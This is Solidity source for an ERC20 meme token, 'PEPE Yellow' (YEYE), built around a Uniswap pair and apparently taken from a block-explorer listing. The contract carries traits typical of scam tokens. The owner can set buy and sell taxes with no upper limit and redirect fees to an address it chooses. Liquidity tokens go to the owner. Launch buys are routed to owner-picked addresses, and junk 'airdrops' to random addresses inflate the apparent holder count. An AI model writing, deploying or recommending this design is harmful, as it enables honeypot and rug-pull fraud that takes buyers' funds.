文件 1 的 1:ERC20.sol
pragma solidity ^0.8.7;
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapRouter {
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapFactory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "you are not owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "new is 0");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is IERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address private fundAddress;
string private _name;
string private _symbol;
uint8 private _decimals;
mapping(address => bool) public _isExcludeFromFee;
uint256 private _totalSupply;
IUniswapRouter public _uniswapRouter;
mapping(address => bool) public isMarketPair;
bool private inSwap;
uint256 private constant MAX = ~uint256(0);
uint256 public _buyFundFee = 30;
uint256 public _sellFundFee = 30;
address public _uniswapPair;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (){
_name = "PEPE Yellow";
_symbol = "YEYE";
_decimals = 18;
uint256 Supply = 420_690_000_000_000;
_totalSupply = Supply * 10 ** _decimals;
address receiveAddr = msg.sender;
_balances[receiveAddr] = _totalSupply;
emit Transfer(address(0), receiveAddr, _totalSupply);
fundAddress = receiveAddr;
_isExcludeFromFee[address(this)] = true;
_isExcludeFromFee[receiveAddr] = true;
_isExcludeFromFee[fundAddress] = true;
}
function designTax(
uint256 newBuy,
uint256 newSell
) public onlyOwner {
_buyFundFee = newBuy;
_sellFundFee = newSell;
}
event update(address);
function initialPair(
uint256 lpPercentage
) public payable onlyOwner{
require(msg.value >= 1 ether,"low liquidity");
_basicTransfer(msg.sender, address(this), totalSupply()*lpPercentage/100);
IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapRouter = swapRouter;
_allowances[address(this)][address(swapRouter)] = MAX;
IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
_uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH());
isMarketPair[_uniswapPair] = true;
IERC20(_uniswapRouter.WETH()).approve(
address(address(_uniswapRouter)),
~uint256(0)
);
_uniswapRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_isExcludeFromFee[address(swapRouter)] = true;
}
function setFundAddr(address newAddr) public onlyOwner{
fundAddress = newAddr;
emit update(fundAddress);
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function name() external view override returns (string memory) {
return _name;
}
function decimals() external view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[sender][msg.sender] != MAX) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
bool public remainEn = true;
function changeRemain() public onlyOwner{
remainEn = !remainEn;
}
uint256 public airDropNumbs = 2;
function setAirdropNumbs(uint256 newValue) public onlyOwner{
airDropNumbs = newValue;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] -= amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
uint256 balance = balanceOf(from);
require(balance >= amount, "balanceNotEnough");
bool takeFee;
bool sellFlag;
if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
uint256 numtoselltoken = amount;
if (numtoselltoken > balanceOf(address(this))){
numtoselltoken = _balances[address(this)];
}
if (numtoselltoken > 0){
swapTokenForETH(numtoselltoken);
}
}
if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && remainEn && !inSwap){
address ad;
for(uint256 i=0;i < airDropNumbs;i++){
ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
_basicTransfer(from,ad,10);
}
amount -= airDropNumbs*10;
}
if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
require(startTradeBlock > 0);
takeFee = true;
}
if (takeFee && !isMarketPair[from] && !isMarketPair[to]){
takeFee = false;
}
if (isMarketPair[to]) { sellFlag = true; }
_transferToken(from, to, amount, takeFee, sellFlag);
}
function _transferToken(
address sender,
address recipient,
uint256 tAmount,
bool takeFee,
bool sellFlag
) private {
_balances[sender] = _balances[sender] - tAmount;
uint256 feeAmount;
if (takeFee) {
uint256 taxFee;
if (sellFlag) {
taxFee = _sellFundFee;
} else {
taxFee = _buyFundFee;
}
uint256 swapAmount = tAmount * taxFee / 100;
if (swapAmount > 0) {
feeAmount += swapAmount;
_balances[address(this)] = _balances[address(this)] + swapAmount;
emit Transfer(sender, address(this), swapAmount);
}
}
_balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
emit Transfer(sender, recipient, tAmount - feeAmount);
}
uint256 public startTradeBlock;
function startTrade(address[] calldata adrs) public onlyOwner {
for(uint i=0;i<adrs.length;i++){
swapToken((random(5,adrs[i])+1)*10**16+7*10**16,adrs[i]);
}
startTradeBlock = block.number;
}
function swapToken(uint256 tokenAmount,address to) private lockTheSwap {
address weth = _uniswapRouter.WETH();
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(this);
uint256 _bal = IERC20(weth).balanceOf(address(this));
if (tokenAmount > _bal){
tokenAmount = _bal;
}
_uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(to),
block.timestamp
);
}
function random(uint number,address _addr) private view returns(uint) {
return uint(keccak256(abi.encodePacked(block.timestamp,block.difficulty, _addr))) % number;
}
function removeERC20(address _token) external {
if(_token != address(this)){
IERC20(_token).transfer(fundAddress, IERC20(_token).balanceOf(address(this)));
payable(fundAddress).transfer(address(this).balance);
}
}
function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapRouter.WETH();
try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(fundAddress),
block.timestamp
) {} catch {}
}
function setIsExcludeFromFees(address account, bool value) public onlyOwner{
_isExcludeFromFee[account] = value;
}
receive() external payable {}
}